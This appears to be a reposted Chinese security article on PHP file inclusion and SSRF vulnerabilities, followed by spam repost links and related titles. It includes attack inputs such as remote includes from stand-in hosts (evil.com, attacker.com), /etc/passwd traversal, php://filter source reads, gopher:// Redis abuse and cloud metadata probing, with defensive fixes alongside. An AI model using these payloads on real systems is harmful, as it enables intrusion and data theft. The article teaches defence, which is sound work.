当前位置: 首页 > news >正文

PHP安全漏洞深度解析:文件包含与SSRF攻击的攻防实战

一、文件包含漏洞:被忽视的“致命开关”

漏洞原理
PHP的includerequire等函数在动态加载文件时,若未对路径参数做严格校验,攻击者可操控文件路径实现恶意操作:

// 危险代码示例(用户控制$_GET['page'])
include($_GET['page'] . '.php');

攻击者通过构造参数:?page=http://evil.com/shell 可执行远程恶意脚本(需allow_url_include=On)。

攻击分类

  1. 本地文件包含(LFI)
    ?page=../../etc/passwd
    可读取服务器敏感文件,甚至结合文件上传获取Webshell。
  2. 远程文件包含(RFI)
    ?page=http://attacker.com/backdoor.txt
    直接加载远程恶意代码,实现服务器沦陷。

高级利用技巧

  • 日志注入攻击:包含/var/log/apache2/access.log,在User-Agent中插入PHP代码执行

  • PHP伪协议利用

    ?page=php://filter/convert.base64-encode/resource=config.php
    

    绕过死亡exit,读取加密文件源码。


二、SSRF攻击:穿透边界的“内网匕首”

漏洞本质
服务端请求伪造(SSRF)利用服务端发起未经授权的HTTP请求,突破网络隔离攻击内网系统:

// 危险代码示例(用户控制URL参数)
file_get_contents($_GET['url']);

致命利用场景

  1. 攻击内网应用
    url=http://192.168.1.100:8080/admin/deleteAll
    删除内网管理后台数据。
  2. 协议滥用
    • file://协议:读取本地文件(?url=file:///etc/passwd
    • gopher://协议:发送任意TCP流量,攻击Redis/Memcached等

真实案例:2023年某电商SSRF→Redis RCE

攻击链:  
SSRF → 内网未授权Redis → 写SSH公钥 → 服务器Root权限丢失

三、联合攻击:文件包含+SSRF的致命组合

利用场景
当存在文件包含且allow_url_include=On时:

include($_GET['file']);  // 参数?file=http://127.0.0.1:8080

通过SSRF构造指向内网服务的URL,实现:

  1. 读取内网敏感文件(file://协议)
  2. 触发内网应用的未授权接口

四、深度防御方案:从代码到架构

文件包含漏洞修复

// 方案1:白名单控制
$allowed = ['home','news','about'];
if(in_array($_GET['page'], $allowed)) {include($_GET['page'].'.php');
} else {die('Invalid request!');
}// 方案2:禁用远程包含
; php.ini配置
allow_url_include = Off
allow_url_fopen = Off

SSRF多层次防御

// 方案1:协议白名单 + DNS重绑定防护
$parsed = parse_url($_GET['url']);
if(!in_array($parsed['scheme'], ['http','https'])) {die("Protocol forbidden!");
}// 方案2:请求目标限制(PHP 7.1+)
$context = stream_context_create(['socket' => ['bindto' => '0.0.0.0:0'], // 禁止访问内网IP'http' => ['follow_location' => false] // 禁用跳转
]);
file_get_contents($url, false, $context);

架构级防护

  1. 网络隔离:关键内网服务设置防火墙白名单
  2. 请求代理:所有出站请求经安全网关过滤
  3. 权限最小化:Web服务器用户禁止访问敏感目录

五、开发者自查清单
  1. 所有包含操作是否使用固定后缀(如.php)?
  2. 是否禁用allow_url_includeallow_url_fopen
  3. 网络请求函数是否过滤file://gopher://等危险协议?
  4. 内网服务是否开启身份认证?

深度防御箴言“永远不要信任用户输入,即使是间接输入!” 通过参数白名单、上下文隔离、纵深防御三层机制,可有效遏制此类漏洞。


附录:漏洞测试Payload

# LFI测试
?page=../../../../etc/passwd%00# SSRF测试(探测内网)
?url=http://169.254.169.254/latest/meta-data

本文提供完整防御代码示例及攻击流程图解(可联系获取),建议结合自动化扫描工具(如PHPStan)持续检测。


文章转载自:
http://afrikanerdom.jopebe.cn
http://agress.jopebe.cn
http://almug.jopebe.cn
http://calicoback.jopebe.cn
http://airfoil.jopebe.cn
http://billsticker.jopebe.cn
http://alveolitis.jopebe.cn
http://appassionato.jopebe.cn
http://ansi.jopebe.cn
http://antioxidant.jopebe.cn
http://bibliographer.jopebe.cn
http://antifeminist.jopebe.cn
http://arabella.jopebe.cn
http://auriculoventricular.jopebe.cn
http://breach.jopebe.cn
http://bujumbura.jopebe.cn
http://allantois.jopebe.cn
http://chorten.jopebe.cn
http://businesswoman.jopebe.cn
http://aomori.jopebe.cn
http://botanical.jopebe.cn
http://bcom.jopebe.cn
http://autodecrement.jopebe.cn
http://bureaucrat.jopebe.cn
http://amity.jopebe.cn
http://aaronic.jopebe.cn
http://bedsore.jopebe.cn
http://chlorhexidine.jopebe.cn
http://adit.jopebe.cn
http://aplasia.jopebe.cn
http://www.dtcms.com/a/281323.html

相关文章:

  • keeplived双击热备配置
  • chrome浏览器(chrome138.0.0.0 )无法安装扩展程序,因为它使用了不受支持的清单版本解决方案
  • GAMES101 lec2-数学基础1(线性代数)
  • 03 51单片机之独立按键控制LED状态
  • HCIA第三次综合实验:VLAN
  • 连接new服务器注意事项
  • Java核心类库深度解析与实战:从字符串处理到计算器开发
  • 外网如何连接内网中的mysql数据库服务?跨网直接访问操作,不用公网IP
  • 人机协作系列(四)AI编程的下一个范式革命——看Factory AI如何重构软件工程?
  • 力扣——1071. 字符串的最大公因子
  • 解密AWS VPC路由表:显式关联与隐式关联,谁决定了网络出口?
  • 深入剖析Java并发基石:AQS原理与实战
  • java 并发面试题2
  • 【Java篇】IntelliJ IDEA 安装与基础配置指南
  • Linux操作系统从入门到实战(十)Linux开发工具(下)make/Makefile的推导过程与扩展语法
  • 大模型在1型糖尿病肾病V期预测及治疗方案制定中的应用研究
  • 快速了解 HTTPS
  • MyBatis Plus功能增强全解析:从手写SQL到优雅开发的进阶指南
  • 16、鸿蒙Harmony Next开发:组件扩展
  • KeilMDK5如何生成.bin文件
  • 项目进度跨地域团队协作困难,如何统一进度安排
  • PHP语法高级篇(三):Cookie与会话
  • Redis中的红锁
  • ADC采集、缓存
  • Axios 完整功能介绍和完整示例演示
  • 映美打印机-URL页面打印
  • Spring MVC 执行流程详解:一次请求经历了什么?
  • 微信小程序:在ios中border边框显示不全
  • XCTF-repeater三链破盾:PIE泄露+ROP桥接+Shellcode执行的艺术
  • PyTorch 数据加载实战:从 CSV 到图像的全流程解析